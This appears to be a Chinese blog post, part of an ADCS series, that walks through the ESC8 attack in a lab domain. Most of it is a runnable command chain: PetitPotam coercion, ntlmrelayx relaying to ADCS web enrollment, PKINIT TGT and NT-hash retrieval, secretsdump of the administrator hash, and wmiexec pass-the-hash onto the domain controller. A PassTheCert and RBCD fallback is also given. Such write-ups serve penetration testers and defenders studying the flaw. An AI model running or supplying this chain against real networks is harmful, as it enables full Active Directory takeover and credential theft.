AD域-ADCS错误配置-ESC8
2023-12-20 / 共计1618 字
冬有冬的来意,雪有雪的秘密
Winter has its own purpose, and snow has its own secrets
ADCS-ESC完结
在真实环境中,在域环境中欲进行获取域控权限,并存在ADCS服务时,ESC1&ESC8相较于ESC2-ESC7比较常用。 ADCS-ESC配置错误文章目录:
- ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
- ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
- ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
- ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
- ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
- ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
- ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/
ADCS-ESC系列中所用到工具均整理放在Github。
ESC8-环境配置
在ADCS服务中,管理员可以添加基于HTTP的证书注册服务,而这种基于HTTP的证书接口,特别容易受到NTML中继攻击,通过NTML中继攻击,可以窃取任何进行NTML身份认证的AD用户。 在T0ngMystic`s Blog下的ESC1-ESC7都是ADCS服务与域控在同一台服务器上,但是ESC8会用到NTML中继攻击,在同一台服务器则没法进行域控与ADCS之间的中继攻击,所以,ESC8的环境为分离部署,具体环境如下:
域控 testad.com(windows server 2019):192.168.111.22
ADCS(windows server 2019):192.168.111.221
域内机器:(windows10):192.168.111.129
kali(linux-kali):192.168.111.132
ADCS开启Web证书注册服务:
ESC8-NTML中继
在kali上利用impacket下的ntlmrelayx .py开启监听:
利用PetitPotam对域控进行强制认证漏洞攻击,强制域控向kali进行认证:
PetitPotam.exe 192.168.111.132 192.168.111.22 1
kali监听收到来自域控服务器的NTML认证,使用中继攻击向ADCS的web服务申请DomainController证书,将获取到的base64编码证书,解码后保存:
python3 ntlmrelayx.py -t http://192.168.111.221/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'
//base64证书保存到123.txt后解码保存至T0ngMystic.pfx
cat 123.txt| base64 -d > T0ngMystic.pfx
base64证书保存到123.txt后解码保存至T0ngMystic.pfx
cat 123.txt| base64 -d > T0ngMystic.pfx
利用PKINITtools中的gettgtpkinit.py请求tgt(使用Rubeus也可以,我这里使用Rubeus后,使用mimikatz提取hash报错):
python3 gettgtpkinit.py -cert-pfx T0ngMystic.pfx testad.com/WIN-E65HGR8BUBN$ dc.ccache
将tgt保存的文件赋给变量KRB5CCNAME,利用PKINITtools中的getnthash.py获取NT hash(NT hash 可以不用获取,但KRB5CCNAME必须要):
export KRB5CCNAME=dc.ccache
python3 getnthash.py -key 3260c220868278b2287ba3b62fca066ff03ac1c2ed6761a112a60b553b7733b2 testad.com/WIN-E65HGR8BUBN$
利用impacket中的secretsdump.py使用dc.ccache获取域控administrator用户NTML hash:
python3 secretsdump.py -k testad.com/WIN-E65HGR8BUBN\[email protected] -no-pass -just-dc-user administrator
利用impacket中的wmiexec.py进行hsah传递访问域控服务器:
python3 wmiexec.py -hashes :92ac39dc25532a7fabf2c33d861b2c53 testad.com/[email protected] -dc-ip 192.168.111.22
KDC_ERR_PADATA_TYPE_NOSUPP错误
有时在请求TGT时有可能会报KDC_ERR_PADATA_TYPE_NOSUPP错误,导致无法请求TGT。 如果遇到这种情况,同时存在LDAP支持TLS,可以使用PassTheCert进行利用,LDAP 在内的协议支持 Schannel,从而可以通过 TLS 进行身份验证。(我在配置LDAP支持TLS后,报错就消失了,该方法作为另一种利用的思路吧)
利用Certipy将先前通过NTML中继攻击获取到的证书,转换成key和crt,两个部分(PassTheCert工具需要):
certipy cert -pfx T0ngMystic.pfx -nokey -out T0ngMystic.crt
certipy cert -pfx T0ngMystic.pfx -nocert -out T0ngMystic.key
利用PassTheCert生成新的机器账户 NOPKIdc :
python passthecert.py -action add_computer -crt T0ngMystic.crt -key T0ngMystic.key -domain testad.com -dc-ip 192.168.111.22 -computer-name NOPKIdc$ -computer-pass Testad@123
给新建的机器用户添加rbcd(约束委派)属性:
python passthecert.py -action write_rbcd -crt T0ngMystic.crt -key T0ngMystic.key -domain testad.com -dc-ip 192.168.111.22 -delegate-from NOPKIdc$ -delegate-to WIN-E65HGR8BUBN$
利用impacket中的getST.py约束委派生成administrator对NOPKIdc$的cifs ST票据:
python3 getST.py -spn cifs/WIN-E65HGR8BUBN.testad.com -impersonate administrator testad.com/NOPKIdc\$:Testad@123 -dc-ip 192.168.111.22
将获取的票据保存到变量KRB5CCNAME,并利用wmiexec.py进行hash传递登录域控服务器:
export KRB5CCNAME=administrator.ccache
python3 wmiexec.py -k testad.com/[email protected] -no-pass -dc-ip 192.168.111.22
文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!
如果文章对您有帮助
欢迎关注公众号!
感谢您的支持!